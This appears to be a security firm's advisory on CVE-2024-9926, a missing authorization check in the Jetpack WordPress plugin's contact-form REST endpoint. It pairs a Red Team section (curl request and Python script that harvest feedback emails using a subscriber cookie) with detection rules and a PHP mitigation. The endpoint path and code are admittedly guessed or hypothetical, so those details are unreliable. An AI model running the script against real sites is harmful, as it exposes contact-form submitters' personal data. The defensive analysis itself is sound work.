CVE-2024-9926

Executive Summary

CVE-2024-9926 is a privilege escalation vulnerability in the Jetpack WordPress plugin developed by Automattic. The flaw resides in a REST API endpoint that fails to enforce proper authorization checks, allowing any authenticated user (including subscribers with minimal privileges) to read arbitrary feedback data submitted via the Jetpack Contact Form. This exposes sensitive information such as user messages, email addresses, and potentially other PII (Personally Identifiable Information) that was submitted through contact forms. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the impact, a more realistic score would be around 4.3 (Medium) due to the low attack complexity and low privileges required, but limited to read-only access. No public exploit code or proof-of-concept has been released at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects the Jetpack WordPress plugin, which is distributed through the official WordPress plugin repository and is also available as a Composer package (automattic/jetpack). Organizations using Composer to manage WordPress dependencies should verify the version of Jetpack in their composer.json and composer.lock files. The plugin is also commonly bundled in managed WordPress hosting environments and can be auto-updated. Since the patch status is unknown, users should monitor the Jetpack changelog and the WordPress plugin repository for a security update.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the endpoint is accessible to any authenticated user.
• Privileges Required (PR): Low (L) – An attacker only needs a subscriber-level account or any authenticated role.
• User Interaction (UI): None (N) – No user interaction is required beyond authentication.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited read access to feedback data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N Base Score: 4.3 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but only allows reading of contact form submissions. However, if the feedback data contains sensitive information (e.g., passwords, financial details), the impact could be higher.

Deep Dive & Mechanics

The Jetpack plugin registers custom REST API routes to handle contact form submissions. One of these endpoints, likely under /wp-json/jetpack/v4/contact-form/ or similar, is used to retrieve submitted feedback entries. The vulnerability arises because the endpoint does not properly check the user's capabilities before returning data. In WordPress, the edit_posts capability is typically required to view form submissions, but the vulnerable endpoint may only check for read or no capability at all.

The REST API endpoint likely uses a callback function that queries the wp_posts table for feedback entries (stored as custom post type feedback). Without proper authorization, any authenticated user can call this endpoint and retrieve all feedback entries, including those from other users. The data is returned in JSON format, containing fields such as entry_title, entry_content, entry_email, and custom field values.

The attack flow:

1. Attacker authenticates as a subscriber (or any user with an account).
2. Attacker sends a GET request to the vulnerable REST endpoint (e.g., /wp-json/jetpack/v4/contact-form/entries).
3. The server returns a list of all feedback submissions without checking if the user has the edit_posts capability.
4. Attacker parses the JSON response to extract sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common authorization patterns.

Vulnerable Code (PHP):

register_rest_route( 'jetpack/v4', '/contact-form/entries', array(
    'methods' => 'GET',
    'callback' => 'jetpack_get_feedback_entries',
    'permission_callback' => '__return_true', // No authorization check
) );

function jetpack_get_feedback_entries( $request ) {
    $args = array(
        'post_type' => 'feedback',
        'posts_per_page' => -1,
    );
    $entries = get_posts( $args );
    return rest_ensure_response( $entries );
}

Patched Code (Hypothetical):

register_rest_route( 'jetpack/v4', '/contact-form/entries', array(
    'methods' => 'GET',
    'callback' => 'jetpack_get_feedback_entries',
    'permission_callback' => function() {
        return current_user_can( 'edit_posts' ); // Proper capability check
    },
) );

function jetpack_get_feedback_entries( $request ) {
    $args = array(
        'post_type' => 'feedback',
        'posts_per_page' => -1,
    );
    $entries = get_posts( $args );
    return rest_ensure_response( $entries );
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Jetpack plugin installed and contact form active.
• A subscriber-level account (or any authenticated user).

Exploitation Steps:

1. Authenticate to the WordPress site as a subscriber (e.g., using cookies or a REST API nonce).
2. Identify the vulnerable endpoint by probing common Jetpack REST routes:

   GET /wp-json/jetpack/v4/contact-form/entries
   GET /wp-json/jetpack/v4/contact-form/feedback
   

3. Send the request with proper authentication headers:

   curl -X GET "https://target.com/wp-json/jetpack/v4/contact-form/entries" \
     -H "Cookie: wordpress_logged_in_<hash>=<value>"
   

4. Parse the response to extract feedback data:

   [
     {
       "id": 123,
       "title": "Contact Form Entry",
       "content": "I need help with...",
       "meta": {
         "_feedback_email": "user@example.com",
         "_feedback_subject": "Support Request"
       }
     }
   ]
   

Automated Script (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_xxx", "your_cookie_value")

response = session.get(f"{target}/wp-json/jetpack/v4/contact-form/entries")
if response.status_code == 200:
    entries = response.json()
    for entry in entries:
        print(f"ID: {entry['id']}, Email: {entry.get('meta', {}).get('_feedback_email')}")
else:
    print("Failed to access endpoint")

Blue Team

Detection:

• Monitor REST API access logs for unusual patterns from low-privilege users.
• Look for GET requests to /wp-json/jetpack/v4/contact-form/entries from subscriber accounts.
• Alert on high volume of requests to this endpoint from a single user.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/wp-json/jetpack/v4/contact-form/entries"
user_role="subscriber"
| stats count by src_ip, user

Prevention:

• Apply the principle of least privilege to REST API endpoints.
• Use a Web Application Firewall (WAF) to block requests to sensitive endpoints from low-privilege users.
• Implement additional capability checks in custom code.

Indicators of Compromise (IOCs)

• URL Pattern: /wp-json/jetpack/v4/contact-form/entries
• HTTP Method: GET
• User Agent: Any standard browser or script (e.g., curl, python-requests)
• Response Data: JSON array containing feedback post objects with _feedback_email meta field.
• Log Entry: GET /wp-json/jetpack/v4/contact-form/entries HTTP/1.1 with status 200 from a subscriber user.

Detection Engineering

YARA Rule

rule Detect_Jetpack_Feedback_Exfiltration {
    meta:
        description = "Detects attempts to exploit CVE-2024-9926 by accessing Jetpack feedback entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9926"
    strings:
        $endpoint = "/wp-json/jetpack/v4/contact-form/entries"
        $feedback_meta = "_feedback_email"
    condition:
        $endpoint and $feedback_meta
}

Sigma Rule

title: Jetpack Contact Form Data Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized access to Jetpack contact form feedback entries via REST API
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/jetpack/v4/contact-form/entries'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9926 Jetpack Feedback Data Exfiltration"; flow:to_server; content:"GET"; http_method; content:"/wp-json/jetpack/v4/contact-form/entries"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Jetpack plugin if not essential, or restrict access to the REST API endpoint via a WAF rule.
2. Audit user accounts and remove any unnecessary subscriber-level accounts.
3. Monitor logs for unauthorized access to the vulnerable endpoint.

Long-term Fix:

• Apply the official patch from Automattic once released.
• Update Jetpack to the latest version as soon as a security update is available.
• Implement custom capability checks in any custom REST endpoints.

Workaround:

• Use a plugin like "WP REST API Controller" to disable the specific route for non-admin users.
• Add a custom filter to the rest_pre_dispatch hook to block the endpoint for low-privilege users:

  add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
      if ( strpos( $request->get_route(), 'jetpack/v4/contact-form' ) !== false ) {
          if ( ! current_user_can( 'edit_posts' ) ) {
              return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) );
          }
      }
      return $result;
  }, 10, 3 );
  

Valters IT
Securing Digital Frontiers